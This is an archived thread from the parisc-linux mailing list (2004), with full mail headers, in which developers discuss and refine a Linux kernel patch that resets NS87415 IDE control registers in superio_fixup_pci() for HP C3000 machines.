Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 632943BE17; Sun, 11 Jul 2004 16:48:41 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 994533BE15
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jul 2004 16:48:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14075-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jul 2004 16:48:37 -0600 (MDT)
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by free.linux.hp.com (Postfix) with ESMTP id 1129D3BE13
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jul 2004 16:48:37 -0600 (MDT)
Original-Received: from sal.ucc.ie (Debian-exim@sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i6BMmZRg022552;
	Sun, 11 Jul 2004 23:48:35 +0100
Original-Received: from xam by sal.ucc.ie with local (Exim 4.32)
	id 1Bjn7a-0002V3-Q5; Sun, 11 Jul 2004 23:48:34 +0100
Mail-Followup-To: Grant Grundler <grundler@parisc-linux.org>,
	Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20040711221829.GA27835@colo.lackof.org>
User-Agent: Mutt/1.5.6+20040523i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21794

On Sun, Jul 11, 2004 at 04:18:29PM -0600, Grant Grundler wrote:

> [ Note the date! sorry...finally got around to this...]
>
> On Tue, Mar 09, 2004 at 03:26:00PM +0000, M. Grabert wrote:
> ...

No problem, as long as it's not forgotten ;)

> > But NOW I have some very weird problem for you!
> ...
> > Anyway, the IDE hard drive works with the onboard IDE controller of the C3000!
> > ... Well, not 100%. Let me explain. The mystery is:
> > 
> > IDE works fine (without DMA support, like in the 2.4 kernels), as long as
> > I interrupt the automatic boot up and to a "sea" followed by a "bo pri".
> 
> I looked at what the firmware is doing "out of the ordinary"
> and it's only writing three config space registers at 0x40-0x42 offset
> of the suckyio IDE. I appended a patch that does the same thing.
> Well, almost. We don't want to mask interrupts in CTRL2.

Great (investigative) work!

[...]

> Can you (or anyone else) test this patch with IDE disk drive on C3000?
> If this works, I can get rid of the magic numbers (define constants)
> and commit the code.

Will try it asap and post the result on the list.

Thanks alot,
   Max
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.6.4-rc1-pa3 siimage/NS87415 IDE progess (and
	another mystery)!
Date: Sun, 11 Jul 2004 16:34:39 -0700
Lines: 46
Approved: news@gmane.org
Message-ID: <20040711233439.GX546@tausq.org>
References: <Pine.LNX.4.58.0403040044200.14527@sal.ucc.ie>
	<20040309063629.GM1113@tausq.org>
	<Pine.LNX.4.58.0403090656070.13701@sal.ucc.ie>
	<20040309072917.GN1113@tausq.org>
	<Pine.LNX.4.58.0403091401480.16082@sal.ucc.ie>
	<20040711221829.GA27835@colo.lackof.org>
	<20040711231401.GW546@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623496 10142 80.91.229.3 (22 Nov 2014 02:31:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 14684 invoked by uid 65534); 11 Jul 2004 23:35:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx028) with SMTP; 12 Jul 2004 01:35:37 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EFF883BE25; Sun, 11 Jul 2004 17:35:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15056-03; Sun, 11 Jul 2004 17:35:21 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B4B053BE17; Sun, 11 Jul 2004 17:34:39 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F1833BE15
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jul 2004 17:34:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14371-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jul 2004 17:34:36 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id D44A23BE13
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jul 2004 17:34:35 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 7A708CD2AE; Sun, 11 Jul 2004 16:34:39 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20040711231401.GW546@tausq.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21795

> don't have an IDE drive to try it with, but if it works, shouldn't it be
> done as a pcibios fixup instead? We already have a fixup routine in
> drivers/parisc/superio.c:superio_fixup_pci(), so you can probably just
> add it there.

i.e. (the progif write was removed since it's redundant):

Index: drivers/parisc/superio.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/superio.c,v
retrieving revision 1.9
diff -u -p -r1.9 superio.c
--- drivers/parisc/superio.c	18 May 2004 13:08:56 -0000	1.9
+++ drivers/parisc/superio.c	11 Jul 2004 23:33:06 -0000
@@ -482,6 +482,16 @@ void superio_fixup_pci(struct pci_dev *p
 	pci_write_config_byte(pdev, PCI_CLASS_PROG, pdev->class);
 
 	pci_read_config_byte(pdev, PCI_CLASS_PROG, &prog);
+
+	/* IODC clobbers the CTRL registers with:
+	 * CTRL1 = 0xf0 = "ATAPI buffer mode (no prefetching)" for everyone
+	 * CTRL2 = 0x03 = mask chan1/2 interrupts
+	 * CTRL3 = 0x00 = "disable prefetch buffer"/"Master Wait States"
+	 */
+	pci_write_config_byte(pdev, 0x40, 0xf0); /* IDE_CTRL1 */
+	pci_write_config_byte(pdev, 0x41, 0x00); /* IDE_CTRL2 */
+	pci_write_config_byte(pdev, 0x42, 0x00); /* IDE_CTRL3 */
+
 	printk("PCI: Enabled native mode for NS87415 (pif=0x%x)\n", prog);
 }
 

works fine on my c3750 with a cdrom drive too! Great job Grant :)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 2.6.4-rc1-pa3 siimage/NS87415 IDE progess (and
	another mystery)!
Date: Sun, 11 Jul 2004 17:34:57 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20040711233457.GC27835@colo.lackof.org>
References: <Pine.LNX.4.58.0403040044200.14527@sal.ucc.ie>
	<20040309063629.GM1113@tausq.org>
	<Pine.LNX.4.58.0403090656070.13701@sal.ucc.ie>
	<20040309072917.GN1113@tausq.org>
	<Pine.LNX.4.58.0403091401480.16082@sal.ucc.ie>
	<20040711221829.GA27835@colo.lackof.org>
	<20040711231401.GW546@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623496 10145 80.91.229.3 (22 Nov 2014 02:31:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 11172 invoked by uid 65534); 11 Jul 2004 23:35:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx042) with SMTP; 12 Jul 2004 01:35:51 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id ED2F73BE16; Sun, 11 Jul 2004 17:35:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15142-01; Sun, 11 Jul 2004 17:35:22 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id CF3523BE26; Sun, 11 Jul 2004 17:35:03 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E4BBD3BE24
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jul 2004 17:35:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15120-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jul 2004 17:35:00 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id BF1113BE15
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jul 2004 17:34:58 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id CC69C29810A; Sun, 11 Jul 2004 17:34:57 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28797-10; Sun, 11 Jul 2004 17:34:57 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 438EE298109; Sun, 11 Jul 2004 17:34:57 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040711231401.GW546@tausq.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21796

On Sun, Jul 11, 2004 at 04:14:01PM -0700, Randolph Chung wrote:
> > Can you (or anyone else) test this patch with IDE disk drive on C3000?
> > If this works, I can get rid of the magic numbers (define constants)
> > and commit the code.
> 
> don't have an IDE drive to try it with, but if it works, shouldn't it be
> done as a pcibios fixup instead? We already have a fixup routine in
> drivers/parisc/superio.c:superio_fixup_pci(), so you can probably just
> add it there.

Yes - you are right. I didn't even think of that.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.6.4-rc1-pa3 siimage/NS87415 IDE progess (and
	another mystery)!
Date: Sun, 11 Jul 2004 18:12:46 -0600
Lines: 76
Approved: news@gmane.org
Message-ID: <20040712001246.GD27835@colo.lackof.org>
References: <Pine.LNX.4.58.0403040044200.14527@sal.ucc.ie>
	<20040309063629.GM1113@tausq.org>
	<Pine.LNX.4.58.0403090656070.13701@sal.ucc.ie>
	<20040309072917.GN1113@tausq.org>
	<Pine.LNX.4.58.0403091401480.16082@sal.ucc.ie>
	<20040711221829.GA27835@colo.lackof.org>
	<20040711231401.GW546@tausq.org> <20040711233439.GX546@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623497 10150 80.91.229.3 (22 Nov 2014 02:31:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 32196 invoked by uid 65534); 12 Jul 2004 00:13:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx047) with SMTP; 12 Jul 2004 02:13:57 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0D0163BE16; Sun, 11 Jul 2004 18:13:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15434-02; Sun, 11 Jul 2004 18:13:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 05A913BE1C; Sun, 11 Jul 2004 18:12:52 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 61A013BE17
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jul 2004 18:12:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15142-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jul 2004 18:12:48 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 19A743BE16
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jul 2004 18:12:48 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 422FC29810A; Sun, 11 Jul 2004 18:12:47 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29613-04; Sun, 11 Jul 2004 18:12:46 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 4542D298109; Sun, 11 Jul 2004 18:12:46 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040711233439.GX546@tausq.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21797

On Sun, Jul 11, 2004 at 04:34:39PM -0700, Randolph Chung wrote:
> i.e. (the progif write was removed since it's redundant):

Much nicer. Here's the cleaned up patch based on your code 
that I'd like to commit.

grant


Index: Makefile
===================================================================
RCS file: /var/cvs/linux-2.6/Makefile,v
retrieving revision 1.220
diff -u -p -r1.220 Makefile
--- Makefile	11 Jul 2004 17:31:32 -0000	1.220
+++ Makefile	12 Jul 2004 00:07:49 -0000
@@ -1,7 +1,7 @@
 VERSION = 2
 PATCHLEVEL = 6
 SUBLEVEL = 7
-EXTRAVERSION = -pa13
+EXTRAVERSION = -pa14
 NAME=Zonked Quokka
 
 # *DOCUMENTATION*
Index: drivers/parisc/superio.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/superio.c,v
retrieving revision 1.9
diff -u -p -r1.9 superio.c
--- drivers/parisc/superio.c	18 May 2004 13:08:56 -0000	1.9
+++ drivers/parisc/superio.c	12 Jul 2004 00:07:49 -0000
@@ -483,6 +483,13 @@ void superio_fixup_pci(struct pci_dev *p
 
 	pci_read_config_byte(pdev, PCI_CLASS_PROG, &prog);
 	printk("PCI: Enabled native mode for NS87415 (pif=0x%x)\n", prog);
+
+	/* IODC clobbers the SuckyIO CTRL registers when we "search"
+	 * from BCH command line. Code below does the same.
+	 */
+	pci_write_config_byte(pdev, SIO_IDE_CTRL1, SIO_IDE_ATAPI_BUF);
+	pci_write_config_byte(pdev, SIO_IDE_CTRL2, 0x00);
+	pci_write_config_byte(pdev, SIO_IDE_CTRL3, 0x00);
 }
 
 /* Because of a defect in Super I/O, all reads of the PCI DMA status 
Index: include/asm-parisc/superio.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/superio.h,v
retrieving revision 1.4
diff -u -p -r1.4 superio.h
--- include/asm-parisc/superio.h	11 Mar 2004 05:41:54 -0000	1.4
+++ include/asm-parisc/superio.h	12 Jul 2004 00:07:49 -0000
@@ -12,6 +12,16 @@
 #define SIO_SP2BAR 0x98		/* Serial 2 BAR */
 #define SIO_PPBAR  0x9C		/* Parallel BAR */
 
+/* IDE (NS87415) CTRL registers */
+#define SIO_IDE_CTRL1  0x40	/* IDE Control Register 1 */
+#define   SIO_IDE_ATAPI_BUF 0xf0   /* "ATAPI buffer mode (no prefetching)" */
+#define SIO_IDE_CTRL2  0x41	/* IDE Control Register 2 */
+#define   SIO_IDE_CHAN1_IRQ 0x01   /* mask Channel 1 IRQ */
+#define   SIO_IDE_CHAN2_IRQ 0x02   /* mask Channel 2 IRQ */
+#define SIO_IDE_CTRL3  0x42	/* IDE Control Register 3 */
+#define   SIO_IDE_CHAN1_PREFETCH_ENB 0x01 /* Enable "Chan 1 Pre-fetch Buffer" */
+#define   SIO_IDE_CHAN2_PREFETCH_ENB 0x02
+
 #define TRIGGER_1  0x67		/* Edge/level trigger register 1 */
 #define TRIGGER_2  0x68		/* Edge/level trigger register 2 */
 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.6.4-rc1-pa3 siimage/NS87415 IDE progess (and
	another mystery)!
Date: Mon, 12 Jul 2004 10:05:34 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <20040712160534.GA12046@colo.lackof.org>
References: <Pine.LNX.4.58.0403040044200.14527@sal.ucc.ie>
	<20040309063629.GM1113@tausq.org>
	<Pine.LNX.4.58.0403090656070.13701@sal.ucc.ie>
	<20040309072917.GN1113@tausq.org>
	<Pine.LNX.4.58.0403091401480.16082@sal.ucc.ie>
	<20040711221829.GA27835@colo.lackof.org>
	<20040711231401.GW546@tausq.org> <20040711233439.GX546@tausq.org>
	<20040712033752.GA10163@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623497 10152 80.91.229.3 (22 Nov 2014 02:31:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 27528 invoked by uid 65534); 12 Jul 2004 16:06:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx033) with SMTP; 12 Jul 2004 18:06:24 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 148473BE28; Mon, 12 Jul 2004 10:06:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22128-05; Mon, 12 Jul 2004 10:06:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EE2463BE1C; Mon, 12 Jul 2004 10:05:39 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5EF093BDF5
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 10:05:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 22880-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 10:05:36 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 1F1343BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 10:05:36 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 5905D29810A; Mon, 12 Jul 2004 10:05:35 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11896-09; Mon, 12 Jul 2004 10:05:34 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C3EFC298109; Mon, 12 Jul 2004 10:05:34 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040712033752.GA10163@sal.ucc.ie>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
